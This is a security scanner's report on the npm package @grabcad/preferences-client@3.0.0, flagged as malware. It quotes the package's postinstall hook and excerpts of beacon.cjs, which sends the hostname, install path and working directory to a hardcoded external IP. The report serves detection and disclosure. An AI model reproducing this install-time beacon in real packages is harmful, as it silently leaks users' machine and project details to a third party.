@grabcad/preferences-client@3.0.0
Compatibility shim.
AI Security Review
scanned 5h ago · by lpm-firewall-aiThe source confirms automatic install-time disclosure of host and project identifiers to a fixed external collector. This supports a malicious verdict and publish block.
Static reason
One or more suspicious static signals were detected.; source fingerprint signature matched known malicious package; routed for review
Trigger
Installing the package runs its postinstall hook.
Impact
Installation discloses host and project identifiers to an unrelated recipient.
Mechanism
beacon.cjs constructs a payload with the hostname, install path, and working directory, then sends it to the configured endpoint without a consent check.
Attack narrative
Installing the package automatically runs beacon.cjs, which sends the machine hostname, install path, and working directory to 185.158.107.175 without an affirmative consent gate.
AI rationale
The source confirms automatic install-time disclosure of host and project identifiers to a fixed external collector. This supports a malicious verdict and publish block.
Evidence
package.jsonbeacon.cjs
Network endpoints1
185.158.107.175
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- The package runs beacon.cjs automatically through its postinstall hook.
- beacon.cjs sends the machine hostname, install path, and working directory to a fixed external IP address without a consent guard.
Evidence against
Behavioral surface
Network
UrlStrings
Source & flagged code
7 flagged · loading sourcepackage.jsonView file
•scripts.postinstall = node beacon.cjs
High
Install Time Lifecycle Scripts
Package defines install-time lifecycle scripts.
package.jsonView on unpkg7"postinstall": "node beacon.cjs"
},
"files": [
"index.js",
"beacon.cjs",
"README.md"
],
"license": "MIT"
}
High
Suspicious Lifecycle Evidence
The package runs beacon.cjs automatically through its postinstall hook.
package.jsonView on unpkg · L7beacon.cjsView file
3// recipient can correlate an install. No data beyond that is collected or sent.
L4: var BEACON = "http://185.158.107.175:8787/_ah/dc";
L5: var PKG = "@grabcad/preferences-client";
...
L10: var lib = u.protocol === 'https:' ? require('https') : require('http');
L11: var data = Buffer.from(JSON.stringify(payload));
L12: var req = lib.request({
...
L20: req.setTimeout(5000, function () { try { req.destroy(); } catch (e) {} resolve(); });
L21: req.write(data); req.end();
L22: } catch (e) { resolve(); }
...
L27: package: PKG,
L28: hostname: (function () { try { return require('os').hostname(); } catch (e) { return ''; } })(),
L29: installPath: __dirname,
Findings
7 High1 Medium2 Low
HighInstall Time Lifecycle Scriptspackage.json
HighHost Fingerprint Exfiltrationbeacon.cjs
HighKnown Malware Source Fingerprint Signaturebeacon.cjs
HighSuspicious Lifecycle Evidencepackage.json
HighAi Review Evidencebeacon.cjs
HighAi Review Evidencebeacon.cjs
HighAi Review Evidencebeacon.cjs
MediumNetwork
LowScripts Present
LowUrl Strings
Affected versions and remediation
This report applies to @grabcad/preferences-client@3.0.0.
See all versions of @grabcad/preferences-client for other recorded verdicts.
- Avoid installing @grabcad/preferences-client@3.0.0. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.